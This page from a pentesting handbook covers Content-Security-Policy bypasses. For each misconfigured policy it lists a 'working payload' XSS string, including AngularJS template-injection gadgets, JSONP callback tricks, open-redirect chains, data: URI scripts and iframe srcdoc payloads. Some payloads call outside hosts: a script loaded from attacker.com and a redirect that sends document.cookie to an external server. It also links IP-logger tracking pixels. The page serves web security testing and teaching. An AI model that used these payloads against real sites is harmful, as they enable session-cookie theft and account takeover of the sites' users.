Pentest Book
Search…
CSP
1
# CSP Checker
2
https://csp-evaluator.withgoogle.com/
3
4
# Content-Security-Policy Header
5
6
- If upload from web is allowed or <img src="URL">:
7
https://medium.com/@shahjerry33/pixel-that-steals-data-im-invisible-3c938d4c3888
8
https://iplogger.org/invisible/
9
https://iplogger.org/15bZ87
10
11
- Content-Security-Policy: script-src https://facebook.com https://google.com 'unsafe-inline' https://*; child-src 'none'; report-uri /Report-parsing-url;
12
By observing this policy we can say it's damn vulnerable and will allow inline scripting as well . The reason behind that is the usage of unsafe-inline source as a value of script-src directive.
13
working payload : "/><script>alert(1337);</script>
14
15
- Content-Security-Policy: script-src https://facebook.com https://google.com 'unsafe-eval' data: http://*; child-src 'none'; report-uri /Report-parsing-url;
16
Again this is a misconfigured CSP policy due to usage of unsafe-eval.
17
working payload : <script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
18
19
- Content-Security-Policy: script-src 'self' https://facebook.com https://google.com https: data *; child-src 'none'; report-uri /Report-parsing-url;
20
Again this is a misconfigured CSP policy due to usage of a wildcard in script-src.
21
working payloads :"/>'><script src=https://attacker.com/evil.js></script>"/>'><script src=data:text/javascript,alert(1337)></script>
22
23
- Content-Security-Policy: script-src 'self' report-uri /Report-parsing-url;
24
Misconfigured CSP policy again! we can see object-src and default-src are missing here.
25
working payloads :<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
26
<param name="AllowScriptAccess" value="always"></object>
27
28
- Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-eval' ajax.googleapis.com;
29
With unsafe-eval policy enabled we can perform a Client-Side Template Injection attack.
30
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.4.6/angular.js"></script> <div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}} </div>
31
<script src=https://drive.google.com/uc?id=...&export=download></script>
32
33
- Content-Security-Policy: default-src 'self'; script-src 'self' *.googleusercontent.com *.google.com *.yandex.net;
34
You can upload the payload to the Yandex.Disk storage, copy the download link and replace the content_type parameter value in the link with application/javascript
35
<script src="https://[***].storage.yandex.net/[...]content_type=application/javascript&[***]"></script>
36
37
- Content-Security-Policy: default-src 'self'
38
If you are not allowed to connect to any external host, you can send data directly in the URL (query string) by redirecting the user to your web server
39
window.location='https://deteact.com/'+document.cookie;
40
41
- Content-Security-Policy: script-src 'self'; object-src 'none' ; report-uri /Report-parsing-url;
42
We can see object-src is set to none but yes this CSP can be bypassed too to perform XSS. How ? If the application allows users to upload any type of file to the host. An attacker can upload any malicious script and call within any tag.
43
working payloads :"/>'><script src="/user_upload/mypic.png.js"></script>
44
45
- Content-Security-Policy: script-src 'self' https://www.google.com; object-src 'none' ; report-uri /Report-parsing-url;
46
In such scenarios where script-src is set to self and a particular domain which is whitelisted, it can be bypassed using jsonp. jsonp endpoints allow insecure callback methods which allow an attacker to perform xss.
47
working payload :"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
48
49
- Content-Security-Policy: script-src 'self' https://cdnjs.cloudflare.com/; object-src 'none' ; report-uri /Report-parsing-url;
50
In such scenarios where script-src is set to self and a javascript library domain which is whitelisted. It can be bypassed using any vulnerable version of javascript file from that library , which allows the attacker to perform xss.
51
working payloads :<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
52
53
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
54
<div ng-app ng-csp>
55
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
56
</div>"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
57
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>
58
59
- Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
60
If the application is using angular JS and scripts are loaded from a whitelisted domain. It is possible to bypass this CSP policy by calling callback functions and vulnerable class. For more details visit this awesome git repo.
61
working payloads :ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>"><script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
62
63
- Content-Security-Policy: script-src 'self' accounts.google.com/random/ website.with.redirect.com ; object-src 'none' ; report-uri /Report-parsing-url;
64
In the above scenario, there are two whitelisted domains from where scripts can be loaded to the webpage. Now if one domain has any open redirect endpoint CSP can be bypassed easily. The reason behind that is an attacker can craft a payload using redirect domain targeting to other whitelisted domains having a jsonp endpoint. And in this scenario XSS will execute because while redirection browser only validated host, not the path parameters.
65
working payload :">'><script src="https://website.with.redirect.com/redirect?url=https%3A//accounts.google.com/o/oauth2/revoke?callback=alert(1337)"></script>">
66
67
- Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' www.googletagmanager.com;
68
With inline execution enabled we can simply injection our code into the page.
69
url.com/asd.php/?a=<script>alert(document.domain)</scrtipt>
70
GoogleTagManager
71
<script>setTimeout(function(){dataLayer.push({event:'gtm.js'})},1000)</script>
72
<script src="//www.googletagmanager.com/gtm.js?id=GTM-*******"></script>
73
74
- Content-Security-Policy: default-src 'self' data: *; connect-src 'self'; script-src 'self' ;report-uri /_csp; upgrade-insecure-requests
75
This CSP policy can be bypassed using iframes. The condition is that application should allow iframes from the whitelisted domain. Now using a special attribute srcdoc of iframe, XSS can be easily achieved.
76
working payloads :<iframe srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>* sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)<iframe src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>
77
78
- CSP with policy injection (only Chrome)
79
/?search=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&token=;script-src-elem%20%27unsafe-inline%27
Copied!
Last modified 11mo ago
Export as PDF
Copy link